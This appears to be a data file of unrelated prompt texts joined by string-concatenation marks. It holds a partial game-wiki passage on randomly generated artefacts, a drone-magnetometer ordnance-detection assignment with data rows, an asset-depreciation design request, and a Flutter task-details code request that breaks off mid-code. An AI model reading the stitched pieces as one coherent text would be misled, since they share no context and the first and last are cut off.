Intoxication" will contain various Earth and Poison Magic spells).\n\nNames\nRandarts have randomly generated names - either a name generated from Crawl\'s database files, or from the name generator (which also names Pan lords, shopkeepers, and a few other things). They are always unusual and sometimes entertaining. The name of a randart is mostly irrelevant; however, randarts that are named for gods (like the +6 broad axe of Okawaru\'s Hope) are forbidden from having properties that contradict the god\'s flavour. Thus, Cheibriados will not have weapons of speed named after him, nor will one find a ring dedicated to Sif Muna that prevents spellcasting. This does not result in any information leak, however, since it is impossible to know the name of an artefact without already knowing all of its properties.\n\nRandarts can occasionally be named after the player. While rare, this is not an amazing coincidence or anything: artefacts simply have a small chance of being named after the player. While amusing, these names are just as irrelevant as any others.\n\nStrategy\nWhile randarts can be very powerful, they vary in quality. One can very broadly divide them into six categories; these definitions, of course, change from character to character:\n\nNice to Uber: These include the so-called "uber-randarts" (+5 boots of Yendor {rF+++ Will+ rElec Str+8}), but also some that don\'t quite qualify for that distinction but are still things you\'d always want to use. Things like the amulet of Amarra {Regen rF+ rPois Slay+3} or the +3 gloves of Okawaru\'s Hope {rC+++ rN+ SInv} would fall into this category.\nGood for a while: Most of the time, these are weapons with high enchantments and neutral to useful properties, but poor base types. Such an example might be the +6 scimitar of Fun {vorpal, rC+ SInv}. A nice weapon, but outclassed by an enchanted demon blade or double sword, or even a +9 branded scimitar when it comes to the end game.\nSwaps: These are the mixed randarts that give a tactically useful property, but things you would not want to wear all the time. The ring of Plog {rElec rN+ Will-- Str-5} might be useful to swap to for rElec or rN+, but the willpower and strength malus make it highly undesirable to wear constantly.\nNot useful to you: Randarts you can\'t wear or wield fall into this category, as do those that you could in theory but can\'t really use in practice: an executioner\'s axe of speed is an awesome weapon, but a Deep Elf Conjurer is unlikely to be able to use it. However, weapons with useful resistances can be useful to casters who don\'t plan on using melee that much.\nDross: These are randarts that are just boring; usually, branded mundane items will fill the slot better. The ring of the Moon {rF+ Str+2} provides minimal benefit over a plain ring, while the +0 helmet of Xizic {Slay-1 Dex+2 Int-1} isn\'t exactly good for anyone. Unfortunately, far too many randarts fall into this category. This is where it is most important to keep a sense of perspective: it would be a bad idea to wear the randart helmet given above in place of a hat of magic resistance, or even a +2 helmet. Wear this type of randart if you have nothing better to put in that slot.\nBad: These are generally quite obvious. They range from "mixed but mostly bad" things like the amulet of Torgh {Acro Str-2 rC-} to truly spectacular failures like the -2 hat of a Thousand Suns {Dex-2 Slay-2} or the ring of the Sun {Fly Slay-5 \\*Slow \\*Rage}. Usually there is absolutely no reason to prefer randarts like these to a unbranded mundane item of the same type.\nA factor that goes into what category a randart falls into, one that is often overlooked, is the slot and base type the randart itself is. The +6 plate armour of Wixzils {Dex+3 Slay+1 rN+} is probably inferior to a +10 plate armour of fire resistance. But the the +3 cloak of Wizzils {Dex+3 Slay+1 rN+} is actually quite good, since it\'s superior to any mundane gloves you can get. Basically, be sure to consider what normal items you could substitute for your randart when considering how good it is.\n\nMost randarts are not actually that useful, due to the sheer randomness of their properties. Pick out the best of them, and discard the rest. Don\'t carry or stash randarts because they\'re rare or because you might use them "at some point." Chances are, if you\'re not using it now and can\'t think of any specific situation in which it\'ll be useful, it\'s probably junk (i.e., in the last three categories given above).' +'Determine the distribution of the values of the magnetic field B and of log\\_10 ((|B|)/1nT) such that each percentile corresponds to 1% of the measurement values. \nMake a histogram of each.\n\nUse the information given below\nFinding ordonnance with drones \n\nWar has been a scourge for humankind since the dawn of history. It is fortunately true that after an extremely violent first half of the 20th century, the second half has seen a steady decrease in war violence (https://ourworldindata.org/war-and-peace). Tragically, however, even today war is raging in several parts of the world very much including in Europe since the Russian invasion of Ukraine. \n\nEven after a war has ended it continues to make victims. Most of the victims are due to the extra mortality caused by diseases and reduced life expectancy from economic hardship and the destruction of infrastructure. However, a particularly nasty heritage of war is the large number of mines and unexploded ordonnance. They can continue to make victims long after the war has finished. E.g. more than a century after WOI the enormous amount of unexploded ordonnance (including grenades with chemical weapons) in the “red zone” of the western front, continues to make victims, as farmers continue to plow up rusty grenades. People, often playing children, are often maimed for life if they hit on a hidden mine. Therefore, the risk posed by unexploded mines can make large land areas off limits. In addition to the terrible human tragedies and the burden on usually already overburdened medical infrastructure, the denial of land that could be used for habitation, agriculture, or industry has large economic consequences. Thus, despite the risk and the high cost involved, mine and explosive disposal is one of the first priorities after a war. \n\nA particularly difficult problem in demining and explosive disposal is finding explosives that have buried themselves underground. This can easily happen due to the shock of impact in soft soil, other explosives piling dirt or debris on top, or simply bomb craters being filled with soil to repair damage to the land after the conflict. Randomly digging for ordonnance in the deep soil is both destructive and prohibitively expensive. Moreover, even when digging is already necessary e.g. for the constructions of roads or buildings, or in deep plowing, accidentally finding ordonnance is not only risky, but also expensive as all activities have to be stopped to investigate, and dispose of the ordonnance. Thus, there is a considerable incentive to find bombs in the subsurface without digging. \n\nThe assignment is based on data of a drone equipped with a magnetic field sensor to detect ordonnance in the deep subsurface. Magnetic sensors measure static or oscillating magnetic fields in units of fractions of a Tesla (T) . The magnetic field, traditionally denoted B is a vector quantity. However, one often only measures only one component, (including for the datasets provided) i.e. a size and a sign. \n\nThe simplest magnetic sensors work by measuring the change in the local magnetic field of the earth caused by a substantial amount of ferro-magnetic material such as the steel housing of a grenade. Since the earth magnetic field is much stronger (about 5µT) than the one produced by the material but essentially constant on the scale of a kilometer (but not on the scale of the earth!), one measures, in fact, a difference signal between two magnetometers separated by a meter or so. Since the magnetic field difference scales linearly with the distance (to first order), one is effectively measuring the gradient of the magnetic field. Alternatively, the sensor is connected to a probe that produces a changing magnetic field itself, oscillating with a frequency of the order of 10kHz. This is the method used by handheld metal detectors. A changing magnetic field will induce oscillating currents in metallic (i.e. conducting) objects which in turn create an oscillating magnetic field which can be easily separated from the earth magnetic field and can be measured. This is the method used with handheld metal detectors. The advantage of this method is that it picks up other metals than iron. It is also more sensitive to the depth of the material. This allows for a better estimate of the depth of the material (especially if one also has information on the conductivity of the soil), but it can also mean that one misses objects that are buried too deep underground. \n\nThe data for the assignment has magnetic field measurements at different locations from a drone flying over a field following a scanning pattern. There is also data were bombs were actually dug out of the ground after drone data suggested there was something there. \n\n\u2003\nAssignment Part 1.\n \nFor this part of the assignment we only need the magnetic field data of field 9641-20220308-F1. \nThe data consists of an x coordinate (from west to east) and a y coordinate (from south to north) in meter, and a magnetic field component in nano-Tesla on a roughly 4 sided field.\n\nX [m] Y [m] Wert [nT]\n-0.463 22.455 -31.270\n-0.463 22.523 -32.160\n-0.462 22.591 -31.510\n-0.461 22.658 -29.810\n-0.460 22.726 -21.040\n-0.459 22.794 -9.470\n-0.458 22.862 7.670\n-0.457 22.930 23.600\n-0.456 22.998 45.450\n-0.455 23.064 62.750\n-0.453 23.131 80.960\n-0.451 23.198 95.470\n-0.449 23.264 107.750\n-0.448 23.331 114.040\n-0.446 23.397 115.670\n-0.444 23.464 103.890\n-0.442 23.531 84.100\n-0.440 23.597 62.860\n-0.439 23.664 54.750\n-0.437 23.731 39.430\n-0.435 23.797 24.030\n-0.433 23.864 12.880\n-0.432 23.930 5.890\n-0.430 23.997 -2.080\n-0.428 24.064 -5.590\n-0.426 24.130 -8.650\n-0.424 24.197 -10.520\n-0.423 24.264 -12.500\n-0.421 24.330 -12.680\n-0.422 24.402 -11.770\n-0.423 24.475 -12.410\n-0.424 24.547 -12.170\n-0.426 24.619 -10.430\n-0.427 24.691 -10.040\n-0.428 24.763 -8.530\n-0.429 24.835 -10.720\n-0.431 24.907 -8.540\n-0.432 24.979 -7.570\n-0.433 25.051 -8.840\n-0.434 25.124 -6.020\n-0.436 25.196 -6.870\n-0.437 25.268 -5.130\n-0.438 25.340 -4.880\n-0.439 25.412 -4.480\n-0.440 25.484 -4.290\n-0.442 25.556 -4.770\n-0.443 25.628 -1.960\n-0.444 25.700 -1.990\n-0.445 25.773 -2.820\n-0.447 25.843 -2.150\n-0.449 25.914 -1.400\n-0.451 25.985 -2.390\n-0.452 26.056 -1.030\n-0.454 26.127 -1.860\n-0.456 26.198 -2.710\n-0.457 26.269 -2.560\n-0.459 26.340 -3.880\n-0.461 26.410 -2.020\n-0.463 26.481 -0.640\n-0.464 26.552 -0.340\n-0.466 26.623 -0.290\n-0.468 26.694 0.060\n-0.470 26.765 0.130\n-0.471 26.836 -0.800\n-0.473 26.906 -0.370\n-0.475 26.977 -0.220\n-0.477 27.048 1.500\n-0.478 27.119 0.950\n-0.480 27.190 0.350\n-0.481 27.267 0.270\n-0.481 27.344 0.230\n-0.482 27.421 1.290\n-0.482 27.499 -1.390\n-0.482 27.576 1.530\n-0.483 27.653 0.350\n-0.483 27.730 0.060\n-0.484 27.807 -0.520\n-0.484 27.884 -0.370\n-0.485 27.962 0.750\n-0.485 28.039 -0.230\n-0.486 28.116 0.170\n-0.486 28.193 0.800\n-0.487 28.270 0.210\n-0.487 28.347 1.380\n-0.488 28.425 3.350\n-0.488 28.502 2.400\n-0.489 28.579 4.030\n-0.489 28.656 3.710\n-0.489 28.722 2.560\n-0.489 28.789 2.500\n-0.489 28.855 1.470\n-0.489 28.921 2.300\n-0.488 28.987 0.770\n-0.488 29.053 0.580\n-0.488 29.120 0.500\n-0.488 29.186 1.310\n-0.488 29.252 -0.320\n-0.487 29.318 2.120\n-0.487 29.384 1.940\n-0.487 29.451 2.290\n-0.487 29.517 3.850\n-0.486 29.583 1.420\n-0.486 29.649 1.010\n-0.486 29.715 1.760\n-0.486 29.782 0.620\n-0.486 29.848 -1.470\n-0.485 29.914 1.420\n-0.485 29.980 0.470\n-0.485 30.046 0.970\n-0.487 30.119 4.120\n-0.489 30.191 5.440\n-0.491 30.264 5.820\n-0.493 30.336 4.890\n-0.495 30.409 4.140\n-0.497 30.481 2.420\n-0.499 30.554 4.200\n-0.501 30.626 0.150\n-0.503 30.699 3.770\n-0.505 30.771 3.430\n-0.507 30.844 2.440\n-0.509 30.916 0.870\n-0.511 30.989 2.660\n-0.513 31.061 0.230\n-0.515 31.134 0.420\n-0.517 31.206 0.560\n-0.519 31.279 1.890\n-0.521 31.351 0.930\n-0.523 31.424 1.480\n-0.525 31.496 1.490\n-0.524 31.565 1.000\n-0.524 31.633 0.310\n-0.523 31.701 2.330\n-0.522 31.769 1.140\n-0.521 31.838 0.470\n-0.521 31.906 0.690\n-0.520 31.974 -0.230\n-0.519 32.042 0.840\n-0.518 32.110 1.540\n-0.518 32.179 1.070\n-0.517 32.247 1.830\n-0.516 32.315 1.950\n-0.515 32.383 1.610\n-0.515 32.452 1.070\n-0.514 32.520 -0.150\n-0.513 32.588 -0.950\n-0.512 32.656 -0.200\n-0.512 32.725 -0.570\n-0.511 32.793 -0.700\n-0.510 32.861 -1.540\n-0.509 32.930 -0.180\n-0.508 33.000 0.840\n-0.506 33.069 -0.150\n-0.505 33.139 -0.410\n-0.504 33.208 1.430\n-0.503 33.278 0.830\n-0.501 33.347 1.990\n-0.500 33.416 0.660\n-0.499 33.486 0.850\n-0.498 33.555 1.830\n-0.496 33.625 2.200\n-0.495 33.694 0.000\n-0.494 33.764 2.830\n-0.493 33.833 0.680\n-0.492 33.903 1.030\n-0.490 33.972 0.960\n-0.489 34.041 -0.510\n-0.488 34.111 0.890\n-0.487 34.180 1.680\n-0.485 34.250 0.830\n-0.485 34.322 0.080\n-0.486 34.394 1.670\n-0.486 34.466 2.030\n-0.486 34.538 1.790\n-0.486 34.610 0.680\n-0.486 34.683 2.420\n-0.487 34.755 2.970\n-0.487 34.827 1.510\n-0.487 34.899 2.330\n-0.487 34.971 1.740\n-0.487 35.043 2.250\n-0.488 35.116 1.800\n-0.488 35.188 3.710\n-0.488 35.260 5.970\n-0.488 35.332 6.760\n-0.488 35.404 7.150\n-0.489 35.476 8.660\n-0.489 35.548 4.980\n-0.489 35.621 4.580\n-0.489 35.693 5.100\n-0.489 35.762 0.930\n-0.489 35.832 3.000\n-0.488 35.901 1.840\n-0.488 35.971 2.600\n-0.487 36.040 1.130\n-0.487 36.109 1.100\n-0.487 36.179 -0.080\n-0.486 36.248 1.620\n-0.486 36.318 -1.230\n-0.486 36.387 0.270\n-0.485 36.457 -0.510\n-0.485 36.526 -1.420\n-0.485 36.596 -0.550\n-0.484 36.665 -0.060\n-0.484 36.735 -1.990\n-0.484 36.804 0.540\n-0.483 36.873 -0.630\n-0.483 36.943 -1.730\n-0.483 37.012 -0.990\n-0.482 37.082 -1.220\n-0.483 37.149 -1.860\n-0.483 37.217 -1.800\n-0.484 37.284 -2.100\n-0.484 37.352 0.480\n-0.484 37.419 0.350\n-0.485 37.487 -1.030\n-0.485 37.555 1.790\n-0.486 37.622 2.200\n-0.486 37.690 4.910\n-0.486 37.757 4.930\n-0.487 37.825 2.380\n-0.487 37.892 -1.060\n-0.487 37.960 -4.310\n-0.488 38.027 -8.280\n-0.488 38.095 -7.340\n-0.488 38.162 -7.760\n-0.489 38.230 -5.280\n-0.489 38.297 -2.810\n-0.489 38.365 -3.460\n-0.490 38.432 -2.320\n-0.494 38.500 -0.730\n-0.498 38.568 -0.730\n-0.503 38.635 -0.340\n-0.507 38.703 0.350\n-0.511 38.771 -0.010\n-0.516 38.838 1.770\n-0.520 38.906 0.160\n-0.524 38.974 0.270\n-0.528 39.041 -0.690\n-0.533 39.109 -2.060\n-0.537 39.177 -3.260\n-0.541 39.244 -3.330\n-0.545 39.312 -4.020\n-0.550 39.380 -1.980\n-0.554 39.447 -0.030\n-0.558 39.515 2.780\n-0.562 39.583 2.550\n-0.567 39.650 3.160\n-0.571 39.718 2.780\n-0.575 39.786 1.010\n-0.579 39.853 -0.360\n-0.580 39.923 1.080\n-0.581 39.993 0.380\n-0.582 40.063 0.070\n-0.583 40.132 -0.520\n-0.584 40.202 -0.800\n-0.584 40.272 0.440\n-0.585 40.342 -0.690\n-0.586 40.412 -0.550\n-0.587 40.481 -1.770\n-0.588 40.551 -0.810\n-0.589 40.621 -1.150\n-0.589 40.691 0.080\n-0.590 40.761 -1.100\n-0.591 40.830 -0.290\n-0.592 40.900 -0.340\n-0.593 40.970 -0.630\n-0.593 41.040 -0.940\n-0.594 41.110 1.010\n-0.595 41.179 -0.900\n-0.596 41.244 -0.870\n-0.598 41.308 -1.910\n-0.599 41.373 -0.890\n-0.600 41.437 -1.030\n-0.602 41.502 -0.010\n-0.603 41.566 2.400\n-0.604 41.631 1.020\n-0.605 41.695 1.600\n-0.607 41.760 -0.040\n-0.608 41.824 1.330\n-0.609 41.889 1.660\n-0.610 41.953 0.160\n-0.612 42.018 -0.440\n-0.613 42.082 -0.490\n-0.614 42.147 -0.930\n-0.616 42.211 -1.160\n-0.617 42.276 -0.660\n-0.618 42.340 -1.550\n-0.619 42.405 -1.590\n-0.621 42.469 -1.310\n-0.622 42.540 -1.660\n-0.624 42.611 -1.070\n-0.626 42.682 -1.760\n-0.628 42.753 -3.820\n-0.629 42.824 -2.510\n-0.631 42.895 -2.330\n-0.633 42.966 -1.270\n-0.635 43.036 2.380\n-0.636 43.107 6.410\n-0.638 43.178 8.280\n-0.640 43.249 10.740\n-0.642 43.320 9.300\n-0.643 43.391 8.320\n-0.645 43.462 5.700\n-0.647 43.532 2.150\n-0.649 43.603 2.040\n-0.650 43.674 -0.010\n-0.652 43.745 -2.420\n-0.654 43.816 -1.760\n-0.655 43.887 -1.540\n-0.656 43.955 -2.150\n-0.656 44.022 -2.050\n-0.657 44.090 -1.730\n-0.657 44.158 -3.070\n-0.657 44.225 -2.030\n-0.658 44.293 -2.090\n-0.658 44.361 -1.780\n-0.659 44.428 -1.720\n-0.659 44.496 -2.000\n-0.659 44.564 -2.850\n-0.660 44.632 -2.790\n-0.660 44.699 -2.150\n-0.661 44.767 -2.490\n-0.661 44.835 -1.390\n-0.661 44.902 -2.650\n-0.662 44.970 -2.120\n-0.662 45.038 -2.590\n-0.662 45.106 -1.140\n-0.663 45.173 -1.820\n-0.663 45.241 -2.900\n-0.667 45.308 -1.540\n-0.671 45.375 -1.250\n-0.674 45.442 -0.530\n-0.678 45.509 -0.640\n-0.682 45.575 -0.470\n-0.686 45.642 -1.570\n-0.689 45.709 -0.920\n-0.693 45.776 -2.520\n-0.697 45.843 -3.380\n-0.701 45.910 -3.220\n-0.704 45.977 -2.640\n-0.708 46.044 -2.840\n-0.712 46.111 -1.980\n-0.716 46.178 -1.170\n-0.719 46.244 -1.730\n-0.723 46.311 -1.040\n-0.727 46.378 -2.350\n-0.731 46.445 -2.620\n-0.735 46.512 -2.350\n-0.738 46.579 -1.620\n-0.742 46.648 -1.620\n-0.746 46.718 -1.280\n-0.751 46.787 -1.120\n-0.755 46.856 -1.540\n-0.759 46.925 -1.990\n-0.763 46.995 -2.000\n-0.767 47.064 -2.330\n-0.771 47.133 -1.250\n-0.775 47.203 -1.330\n-0.779 47.272 -1.740\n-0.783 47.341 -2.390\n-0.787 47.411 -2.510\n-0.791 47.480 -1.880\n-0.795 47.549 -1.410\n-0.799 47.619 -2.870\n-0.804 47.688 -1.240\n-0.808 47.757 -1.920\n-0.812 47.827 -1.640\n-0.816 47.896 -4.150\n-0.820 47.965 -1.850\n-0.820 48.039 -2.200\n-0.821 48.113 -2.570\n-0.822 48.187 -1.650\n-0.823 48.260 -1.450\n-0.823 48.334 -2.720\n-0.824 48.408 -0.800\n-0.825 48.482 -1.020\n-0.826 48.556 -3.110\n-0.826 48.629 -1.540\n-0.827 48.703 -2.080\n-0.828 48.777 -2.040\n-0.828 48.851 -1.110\n-0.829 48.925 -2.550\n-0.830 48.998 -2.000\n-0.831 49.072 -2.550\n-0.831 49.146 -1.790\n-0.832 49.220 -2.300\n-0.833 49.294 -0.240\n-0.834 49.368 1.890' +"Awesome. Asset Service will be responsible for sending asset create, update, transfer and retire events while Depreciation Service will be sending asset depreciation events. Asset Service would be sending one-off events while depreciation events may be sent in batches.\n\nThe design I've provided you earlier pretty much covers the use case for Asset Service. Now, I have to work on Asset Depreciation Service. What do you think is a good way to approach that design? What can that design look like? Here are the use cases of depreciation which might help:\nAsset Addition: Creation of Depreciation/Amortization schedule upon addition of a new asset.\nA Financial Asset is recognized (created/added) in FASL+, this addition transaction will require a Depreciation/Amortization Schedule to be created on the basis of following details: 1) Useful Life of the asset; 2) Depreciation/Amortization Method; 3) Cost of the Asset; 4) Depreciation Start Date; 5) Salvage Value (if any); 6) Periodicity\nCatch-up Depreciation: Depreciation Start Date (Prorate Date) is belonging to past calendar month/s.\nA Financial Asset is recognized in FASL+, with a Depreciation Start Date (Prorate Date) belonging to past calendar month/s.\nFor example - Current month is FEB-2023, but the depreciation start date has been provided as 01-Dec-2022. This will require catch-up calculations of depreciation/amortization for the month of Dec-2022, Jan-2023 and Feb-2023. All the accounting entries would be posted in the Current Open Period which happens to be Feb-2023.\nDepreciation Start Date (Prorate Date) is belonging to future calendar month/s.\nA Financial Asset is recognized in FASL+, with a Depreciation Start Date (Prorate Date) belonging to future calendar month/s.\nFor example - Current month is FEB-2023, but the depreciation start date has been provided as 01-Apr-2023. This situation will require no calculations of depreciation/amortization for the month of Feb-2023 and Mar-2023. The very first month, when we will calculate depreciation, create accounting entries and post it to GL would be Apr-2023.\nUseful Life Adjustment: Change in Useful Life of the asset\nThe useful life of an existing Financial Asset is adjusted in FASL+. This adjustment can be either way - positive or negative. For example an asset was initially created with a useful life of 36 months. Now after 3 (xx) months, it can be changed to 48 months (positive) or 24 months (negative).\nAdjustment in the useful life of the asset, requires reclaibration of depreciation calculation for that asset. This recalibration is defined using below two categories:\n1) Expensed Life Adjustment - Where the impact of the change in useful life, in the new depreciation calculations, is from first day of the asset (in other words from the Depreciation Start Date (Prorate Date)). This adjustment is also known as Retrospective change. This category requires recalculation of depreciation from the very first day which results in calculation of catch-up depreciation/delta (+ve/-ve) depreciation to be posted as part of current month (accounting period).\n2) Amortized Life Adjustment - Where the impact of the change in useful life, in the new depreciation calculations, is not from the first day of the asset (in other words, it can be from any date from Depreciation Start date to current month). This adjustment is also known as Prospective Change. This category requires recalculation of depreciation from the Specified Date. The depreciation calculation accomplished prior to Specified Date stays the same but catch-up/delta (+ve/-ve) is calculated after the Specified date and posted as part of current month (accounting period).\nCost Adjustment: Change in the Cost of the asset\nThe cost of an existing Financial Asset is adjusted in FASL+. This adjustment can be either way - positive or negative. For example an asset was initially created with a Origial Cost of $5000. Now after 3 (xx) months, it can be changed to $8000 (positive) or $3000 (negative).\nSimilar to Life Adjustment (explained on the above row), the Cost Adjustment of an asset, requires reclaibration of depreciation calculation for that asset. This recalibration is defined using the same two categories as shared above for Life adjustment:\n1) Expensed Cost Adjustment - Where the impact of the change in cost, in the new depreciation calculations, is from first day of the asset (in other words from the Depreciation Start Date (Prorate Date)). This adjustment is also known as Retrospective change. This category requires recalculation of depreciation from the very first day which results in calculation of catch-up depreciation/delta (+ve/-ve) depreciation to be posted as part of current month (accounting period).\n2) Amortized Cost Adjustment - Where the impact of the change in cost, in the new depreciation calculations, is not from the first day of the asset (in other words, it can be from any date from Depreciation Start date to current month). This adjustment is also known as Prospective Change. This category requires recalculation of depreciation from the Specified Date. The depreciation calculation accomplished prior to Specified Date stays the same but catch-up/delta (+ve/-ve) is calculated after the Specified date and posted as part of current month (accounting period).\nDepreciation Adjustment: Unplanned depreciation for an asset made in a specific month/accounting period.\nDepreciation adjustment is treated as a unplanned depreciation to an asset in the current month (open acounting period). The Depreciation adjustment can be also positive and negative in terms of value.\nSimilar to above two use cases (Life and Cost Adjustments), Depreciation adjustments can be also categorized as Expensed Depreciation Adjustment and Amortized Depreciation Adjustment. The definition of these two categories stays the same, as explained for Cost and Life adjustment.\nReclass (Method Adjustment): Change in Depreciation/Amortization Method\nAbility to change the depreciation/amortization method for an already existing and depreciated asset, in case of any policy changes. For example - an asset which was earlier getting amortized using STL (Straight Line) method, would be depreciated using DB (Declining Balance) method from the Specified Date. These changes are very rare and happens once in 4-5 years.\nThis type of change will retrigger the depreciation calculation from the Specified Date using the new method.\nPause Depreciation: Cease depreciation calculation on the asset.\nAbility to pause the depreciation calculations for an asset for the defined period. The period would be defined using the Pause Start Date and Pause End Date. The system is expected to stop calculating the depreciation for the asset placed on Paused status.\nWhy this is required? - These scenario occurs when we would like to account for the time lost in the transit for a transfer of asset use case; When we are no longer using an asset and finding a prospective buyer to sell it off (also known as Held-For-Sale use case); etc.\nResume Depreciation: Reactivate the depreciation calculation for the asset.\nAbility to resume depreciation for an asset, which was placed on Hold (Pause) for depreciation calculations. The system is expected to start depreciating the asset again after it is resumed for depreciation calculations.\nBonus (Accelerated) Depreciation\nNeed to confirm with users if this functionality is required.\nAsset Retirement\nUsual/Timely Retirement (NBV = 0): There is no direct impact on depreciation module/RACE in case of retirement of asset with NBV = 0. The accounting entries would be created as part of retirement event. No accounting entry to be created using depreciation module/RACE. The depreciation module/RACE should mark the asset as retired and make the accumulated depreciation amount and NBV amount as Zero.\n\nEarly Retirement (NBV >0): There is no direct impact on depreciation module/RACE in case of retiring an asset with NBV >0. The accounting entries would be created as part of retirement event. No accounting entry to be created using depreciation module/RACE. The change would happen in terms of following 4 updates items:\n- No more depreciation calculations required for this asset as its retired\n- The NBV will become Zero upon retirement\n- The accumulated depreciation amount will become Zero upon retirement\n- The asset would be marked as retired\n\nPartial Retirement (NBV>0): There is no direct depreciation accounting event generated using Depreciation Module/RACE upon Partial retirement. The change would happen in terms of following items:\n- The depreciation calculation would be reset to new NBV.\n- The Cost of the asset, accumulated depreciation of the asset would be changed to reflect the partial asset retirement.\nPreview Depreciation calculations\nAbility to preview the monthly depreciation calculations for an asset for its useful life. This is a preview of calculations as per current details of the asset." +'modify the flutter code for task details as below needs \n\nthe page view will be as sections\n 1st section \nRow1: in the left "task\\_name" in the right "task\\_id"\nRow2: in the left "related\\_to" n the right "task\\_status": \n2nd section \nrow1: "customer\\_group" on the left and "task\\_status" on right \nrow2: Creited: "task\\_created\\_date" in the left side and only date format no time \nDue: "due\\_date" in the right side only date format no time \nRow3: Assigned by "created\\_by" in the right Assigned to: "permission"\n2nd section \nRow1: title view "Task Details" bold and big size \nRow 2: "task\\_description" as a non-editable box. height varies with the length of the text and it fills the width of the page\n Row 3: The task for: "task\\_for\\_name"\n Row 4: Contact 1: "task\\_for\\_contacts1" / should have a call icon and this will have an action to direct to make a call using mobile & have a WhatsApp icon and this will direct to make chat over WhatsApp \nRow 5: Contact 2: "task\\_for\\_contacts2" / should have a call icon and this will have an action to direct to make a call using mobile & have a WhatsApp icon and this will direct to make chat over WhatsApp \nRow 6: Task location Using Google map API Lat, Long ("task\\_lat, "task\\_long") values linkable in map icon \nRow 6: "tasks\\_notes" as an editable box. height 2 lines with the length of the text and it fills the width of the page\nRow 7: bottom to change status on the right and bottom to update notes on the left side \nfor the update note will be Gary and it the changed to blue once the user modifies the note in Row 7\nfor \nTo change the status the workflow will as below the bottom text and the action be applied below \n\nIf the tasks\' status is “not\\_started” then will show only one action to In bottom to make the task “in\\_progress”\n\nIf the status is “in\\_progress” then only one action can be applied to Make it “Done” and the status will be “waiting\\_for\\_someone”, only admin type users have the option to send it back to “not\\_started”\nIf the status is “waiting\\_for\\_someone” then only admin-type users can make it Completed action will be applied to API Make to make “Completed” and the status will be “completed”\nonly admin-type users have the option to send it back to “in\\_progress”\n\n\n3rd section (show this section in the case of "merchant\\_id" is not null)\nRow1: title view "Merchant Info" bold and big size \nmerchant\\_Name: [restaurant\\_name]\nmerchant\\_phone: [restaurant\\_phone] / should have a call icon and this will have an action to direct to make a call using mobile & have a WhatsApp icon and this will direct to make chat over WhatsApp \nmerchant\\_contact: [contact\\_name]\nmerchant\\_contact\\_phone: [contact\\_phone] / should have a call icon and this will have an action to direct to make a call using mobile & have a WhatsApp icon and this will direct to make chat over WhatsApp \nmerchant\\_status [status]\nmerchant\\_admin\\_note: [admin\\_note]\n\n4th section (show this section in the case of "invoice\\_id" is not null)\nRow1: title view "Invoice Info" bold and big size \nRow2: Invoice ID: "invoice\\_id" on the right and "invoice\\_date" on the left side Row3: Amount: "amount"\nRow4: "invoice\\_URL" this will be linkable as a hyperlink bottom to open in the browse \n5th section (show this section in the case of "driver\\_id" is not null)\nRow1: title view "Driver info" bold and big size \nRow2:driver\\_Name: [first\\_name] & " " & [last\\_name] in right & driver\\_status" [status] in the left side \nRow 3: driver\\_phone: [phone] / should have a call icon and this will have an action to direct to make a call using mobile & have a WhatsApp icon and this will direct to make chat over WhatsApp \nRow 5: driver\\_admin\\_note: [admin\\_note] \n\n6th section (show this section in the case of "client\\_id" is not null)\nRow1: title view "Client info" bold and big size \nRow2:client\\_Name: [first\\_name] &" " & [last\\_name] / if null don\'t show it.\nRow3:client\\_phone: [contact\\_phone] / / should have a call icon and this will have an action to direct to make a call using mobile & have a WhatsApp icon and this will direct to make chat over WhatsApp / if null don\'t show it.\n7th section\nRow1: title view "Activities " bold and big size and here will have a dropdown view of the Activities list need to press to see the Activities \n\nlast section\nRow1: title view "Activities " bold and big size\nrow 2: dynamic list of comments as come from API\n"user\\_id" {user Name} on the left and "comment\\_datetime" in the right\nnext line "tbl\\_task\\_comment" \nseparate each comment row with a shadow line\nend of the page to be a secure chat box write inside in lite gay "Add comments"\n\nconsider the below \n-colour the status text of the task and box to change the status as \n-"in\\_progress" to be "in\\_progress" and box in orange colour\n-Waiting for approval tasks to be Waiting for approval and box in Blue color with black border\n"completed" Tasks to be n Green color\nWrite comments on the code for each code to explain it\nUse of null checks in a proper way\nenhance Error handling\nenhance the code performance\nenhance the UI and make it better as we are making todo style \nmake the code faster \nmake lite grey background color \nseparate each section in the view as a different square \n\nimport \'package:efendim\\_admin/src/Tasks%20Managment/models/task.dart\';\nimport \'package:efendim\\_admin/src/Tasks%20Managment/models/taskByCateg.dart\';\nimport \'package:efendim\\_admin/src/Tasks%20Managment/services/api\\_service.dart\';\nimport \'package:efendim\\_admin/src/Tasks%20Managment/widgets/custom\\_app\\_bar.dart\';\nimport \'package:efendim\\_admin/src/Tasks%20Managment/widgets/task\\_comments.dart\';\nimport \'package:flutter/material.dart\';\n\nimport \'../models/activity.dart\';\nimport \'../models/comment.dart\';\nimport \'../widgets/task\\_activities.dart\';\n\nclass TaskDetailsScreen extends StatefulWidget {\n final TasksList task;\n\n const TaskDetailsScreen({Key? key, required this.task}) : super(key: key);\n\n @override\n \\_TaskDetailsScreenState createState() => \\_TaskDetailsScreenState();\n}\n\nclass \\_TaskDetailsScreenState extends State {\n late TasksList \\_task;\n late List \\_comments;\n late bool \\_isLoading;\n\n @override\n void initState() {\n super.initState();\n \\_task = widget.task;\n \\_comments = [];\n \\_isLoading = false;\n \\_fetchComments();\n }\n\n @override\n Widget build(BuildContext context) {\n return Scaffold(\n appBar: CustomAppBar(\n title: \\_task.taskName,\n actions: [],\n ),\n body: SingleChildScrollView(\n child: Padding(\n padding: EdgeInsets.all(16.0),\n child: Column(\n crossAxisAlignment: CrossAxisAlignment.start,\n children: [\n Text(\n \\_task.taskDescription,\n style: TextStyle(fontSize: 18.0, fontWeight: FontWeight.bold),\n ),\n SizedBox(height: 16.0),\n Row(\n children: [\n Text(\n \'Status: ${\\_task.taskStatus}\',\n style: TextStyle(fontSize: 16.0),\n ),\n SizedBox(width: 16.0),\n Text(\n \'Created By: ${\\_task.createdBy}\',\n style: TextStyle(fontSize: 16.0),\n ),\n ],\n ),\n SizedBox(height: 16.0),\n Row(\n children: [\n Icon(Icons.calendar\\_today),\n SizedBox(width: 8.0),\n Text(\n \'Created On: ${\\_task.taskCreatedDate}\',\n style: TextStyle(fontSize: 16.0),\n ),\n ],\n ),\n SizedBox(height: 16.0),\n \\_buildDetailsTable(),\n SizedBox(height: 16.0),\n \\_buildStatusButtons(),\n SizedBox(height: 16.0),\n TaskComments(\n comments: \\_comments,\n onCommentAdded: (String comment) {\n \\_addComment(comment);\n },\n ),\n SizedBox(height: 16.0),\n TaskActivities(activities: [\n 